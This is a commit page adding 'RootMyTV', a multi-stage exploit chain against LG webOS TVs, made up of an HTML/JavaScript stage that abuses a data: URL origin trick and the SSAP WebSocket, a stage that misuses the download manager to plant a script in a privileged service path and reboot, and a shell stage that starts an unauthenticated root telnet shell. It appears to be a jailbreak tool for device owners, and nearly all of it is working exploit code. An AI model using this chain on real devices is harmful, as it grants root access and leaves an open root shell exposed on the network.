Initial v2 exploit chain

pull/4/head
Piotr Dobrowolski 2021-04-25 22:00:25 +02:00
rodzic 6a5752255a
commit d8ccc66d6b
6 zmienionych plików z 455 dodań i 0 usunięć

152
exploit/common.css 100644
Wyświetl plik

@ -0,0 +1,152 @@
@import url("https://fonts.googleapis.com/css2?family=Orbitron:wght@900&display=swap");
body {
background-color: #000;
font-family: sans-serif;
font-size: 15pt; /* 15pt / 22pt */
transform: translate3d(0,0,0); /* Hack to disable drag scrolling in WebOS */
overflow-x: hidden;
}
.content-center {
max-width: 40em;
margin: auto;
}
hr {
width: 90%;
height: 0;
border: 0;
margin: 2em auto;
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.5em #731178;
}
hr:after { /* https://css-tricks.com/examples/hrs/ */
content: "\00a0"; /* Prevent margin collapse */
}
header > h1 {
font-family: 'Orbitron', sans-serif;
font-weight: 900;
text-align: center;
color: #000;
font-size: 4em;
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
}
article {
line-height: 1.5;
color: #c4f0fd;
font-family: 'Cantarell', sans-serif;
}
article > p {
text-align: justify;
margin: 1em;
}
.slider-bar {
width: 90%;
margin: 2em auto;
border: 1px solid #fff;
position: relative;
display: block;
border-radius: 1em;
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.5em #731178, inset 0 0 1em 0.5em #731178, inset 0 0 1px 1px #fff;
/**/
background: black;
}
/* Use pre-baked glow effect to improve perf on the TV itself */
/* @media only screen and (width: 1920px) {
.slider-bar:before {
content: "";
background-image: url("./sliderbar.png");
position: absolute;
width: 1173px;
height: 240px;
background-repeat: no-repeat;
margin-top: -2em;
margin-left: -2em;
}
.slider-text {
background-image: url("./slidetoroot.png");
background-position: center;
background-repeat: no-repeat;
}
}*/
.slider-button {
z-index: 1;
display: block;
border: 1px solid #fff;
border-radius: 0.5em;
margin: 0.4em;
position: absolute;
top: 0;
box-sizing:border-box;
left: 0%;
width: 15%;
height: 80%;
text-align: center;
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.2em #0bb6be, inset 0 0 1em 0.2em #0bb6be, inset 0 0 1px 1px #fff;
/**/
}
.slider-button > p {
cursor: grab;
font-family: 'Orbitron', sans-serif;
font-size: 3em;
margin: 0;
color: black;
margin-top: -0.3em;
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.3em #0bb6be, 0 0 0.3em #0bb6be;
/**/
}
.slider-text {
margin: 0;
display: block;
text-align: center;
width: 100%;
height: 100%;
font-family: 'Orbitron', sans-serif;
font-size: 2.5em;
color: black;
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
/**/
padding-top: 0.04em;
padding-bottom: 0.12em;
position: relative;
}
.slider-text:after {
content: "slide to root";
position: absolute;
left: 0;
text-shadow: none;
width: 100%;
background-clip: text;
-webkit-background-clip: text;
-moz-background-clip: text;
text-fill-color: transparent;
-webkit-text-fill-color: transparent;
-moz-text-fill-color: transparent;
background-image: linear-gradient(270deg, #000 0%, #11bbc2 15%, #000 30%, #000 100%);
animation: Shine 3000s linear infinite;
/**/
}
@keyframes Shine {
0%{
background-position: 0 0;
}
100%{
background-position: 1000000px 0; /* FIXME: should be percentage, but that breaks it */
}
}
#log {
width: 100%;
font-size: 0.7em;
white-space: pre-wrap;
word-wrap: break-word;
}

Wyświetl plik

@ -0,0 +1 @@
yep

181
exploit/stage1.html 100644
Wyświetl plik

@ -0,0 +1,181 @@
<html>
<head>
<title>RootMyTV - Stage 1</title>
<link rel="stylesheet" href="common.css" />
</head>
<body>
<header>
<h1>RootMy.TV</h1>
</header>
<hr>
<section class="content-center">
<button id="exploit" class="slider-bar">
Press to root
</button>
<article>
<pre id="log"></pre>
</article>
</section>
<script>
window.ORIGIN_URL = window.location.protocol === 'data:' ? '__START_ORIGIN__' : window.location.href;
window.onerror = function (err) {
console.error(err);
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
};
</script>
<script>
// Exploit data: url navigation for browsers which didn't have following patch
// applied yet (webOS 3.x):
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
try {
if (window.location.protocol !== 'data:') {
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
.replace('="common.css"', '="' + new URL('common.css', window.location.href).href + '"')
.replace('__START_ORIGIN__', window.location.href));
}
} catch (err) {}
function log(str) {
var logBox = document.querySelector('#log');
logBox.innerText = str + '\n' + logBox.innerText;
}
// Minimal implementation of WebSocket API that we use to workaround origin
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
// null header to be sent, which is explicitly allowed.
function ProxyWebSocket(target) {
// Proxy payload - this function is run in data: iframe and is meant to exchange
// WebSocket calls and events with parent frame.
function proxyPayload(address) {
// Helper function that forwards events/messages to parent frame
function forward(type, data) {
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
}
try {
var conn = new WebSocket(address);
conn.onopen = function (evt) {forward('open', evt);}
conn.onclose = function (evt) {forward('close', evt);}
conn.onerror = function (evt) {forward('error', evt);}
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
window.addEventListener("message", function (event) {
var msg = JSON.parse(event.data);
if (msg.type === 'send') {
conn.send(msg.data);
}
}, false);
} catch (err) {
forward('error', err);
}
}
var self = this;
this.proxy = document.createElement('iframe');
this.proxy.style.display = 'none';
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
window.addEventListener("message", function (event) {
if (event.source !== self.proxy.contentWindow) return;
const msg = JSON.parse(event.data);
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
if (msg.type === 'log') console.info('proxy:', msg.data);
}, false);
document.querySelector('body').appendChild(this.proxy);
return this;
}
ProxyWebSocket.prototype.send = function (data) {
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
}
ProxyWebSocket.prototype.close = function () {
this.proxy.parentNode.removeChild(this.proxy);
}
// Final exploit code
var conn = null;
function bootstrap(target, url) {
try {
log('0. Connecting...');
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
conn = new ProxyWebSocket('ws://' + target + ':3000');
conn.onopen = function (evt) {
console.info('open', evt);
log('1. Connected, registering... Accept prompt on the TV.');
const handshake = {
id: "reg_req",
type: "register",
payload: {
forcePairing: false,
pairingType: "PROMPT",
"client-key": "xxx",
// Minimal manifest that gives us permission to launch a system
// application
manifest: {
manifestVersion: 1,
permissions: ["LAUNCH"],
},
}
};
conn.send(JSON.stringify(handshake));
};
conn.onmessage = function (evt) {
const msg = JSON.parse(evt.data);
if (msg.type === 'registered') {
log('2. Registered - opening webpage...');
conn.send(JSON.stringify({
id: 'launch_req',
type: "request",
uri: "ssap://system.launcher/launch",
payload: {
id: "com.webos.app.facebooklogin",
params: {
server: url.replace('http://', '').replace('https://', '') + "#",
}
},
}));
} else if (msg.type === 'response') {
if (msg.payload.returnValue === true && msg.id === 'launch_req') {
log('2. Launch request finished');
} else if (msg.id !== 'reg_req') {
log('Unexpected response: ' + evt.data);
}
} else if (msg.type === 'error') {
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
} else {
log('Unexpected message: ' + evt.data);
}
};
conn.onclose = function (evt) {
console.info('close', evt);
log('Closed');
};
conn.onerror = function (evt) {
console.info('error', evt);
if (evt.message && evt.message.indexOf('insecure') !== -1) {
log('Error occured during connection... Attempting data URL hack...');
} else {
log('Error occured during connection - Do you have LG Connect Apps enabled?');
}
};
} catch (err) {
log("An unexpected error occured: " + err.toString());
}
}
document.querySelector('#exploit').addEventListener('click', function () {
bootstrap('localhost', new URL('stage2.html', ORIGIN_URL).href);
});
</script>
</body>
</html>

Wyświetl plik

@ -0,0 +1,88 @@
<html>
<head>
<title>RootMyTV - Stage 2</title>
<link rel="stylesheet" href="common.css" />
</head>
<body>
<header>
<h1>RootMy.TV</h1>
</header>
<hr>
<section class="content-center">
<article>
<pre id="log"></pre>
</article>
</section>
<script src="webOSTV.js"></script>
<script>
function log(str) {
var logBox = document.querySelector('#log');
logBox.innerText = str + '\n' + logBox.innerText;
}
window.onerror = function (err) {log('Unexpected error: ' + err);};
(function () {
function download(url, targetDir, targetFilename, success) {
var target = new URL(url, window.location.href).href;
log(targetFilename + ': Downloading from ' + target + '...');
webOS.service.request('luna://com.webos.service.downloadmanager', {
method: 'download',
parameters: {
target: target,
targetDir: targetDir,
targetFilename: targetFilename,
subscribe: true,
},
onSuccess: function (res) {
if (res.completed === true) {
if (res.destPath !== targetDir) {
log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.');
} else if (res.httpStatus !== 200) {
log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus);
} else {
log(targetFilename + ': Download completed');
success();
}
}
},
onFailure: function (err) {
log('err: ' + JSON.stringify(err));
},
});
}
function reboot() {
webOS.service.request('luna://com.webos.service.sleep', {
method: 'shutdown/machineReboot',
parameters: {
reason: "SwDownload"
},
onSuccess: function (res) {
log("Reboot request succeeded. Bye?");
},
onFailure: function (res) {
log("Failed to reboot: " + JSON.stringify(res));
},
});
}
// Placeholder...
var homebrewChannelURL = 'https://github.com/mariotaku/moonlight-tv/releases/download/v0.7.4/com.limelight.webos_0.7.4_arm.ipk';
download('stage3.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode-xxx.sh', function () {
download(homebrewChannelURL, '/media/internal/downloads/', 'hbchannel.ipk', function () {
download('devmode_enabled', '/var/luna/preferences/', 'devmode_enabled', function () {
reboot();
});
});
});
})();
</script>
</body>
</html>

32
exploit/stage3.sh 100644
Wyświetl plik

@ -0,0 +1,32 @@
#!/bin/sh
# Remove this script - in case a reboot happens, we should end up with a clean
# system...
rm $0
# Start root telnet server
telnetd -l /bin/sh
# give the system time to wake up
sleep 5
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing homebrew channel..."}'
mkfifo /tmp/luna-install
luna-send -i 'luna://com.webos.appInstallService/dev/install' '{"id":"com.ares.defaultName","ipkUrl":"/media/internal/downloads/hbchannel.ipk","subscribe":true}' >/tmp/luna-install &
LUNA_PID=$!
echo "pid: $LUNA_PID"
egrep -i -m 1 'installed|failed' /tmp/luna-install
echo "finished"
kill -term $LUNA_PID
rm /tmp/luna-install
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Elevating homebrew channel..."}'
/media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing final start-devmode.sh..."}'
cp /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/startup.sh /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Finished!"}'
luna-send -a com.webos.service.secondscreen.gateway -f -n 1 luna://com.webos.notification/createAlert '{"sourceId":"webosbrew","message":"webOS Homebrew Channel installed. Would you like to reboot now?","buttons":[{"label":"Reboot now","onclick":"luna://com.webos.service.sleep/shutdown/machineReboot","params":{"reason":"SwDownload"}},{"label":"Reboot later"}]}'

File diff suppressed because one or more lines are too long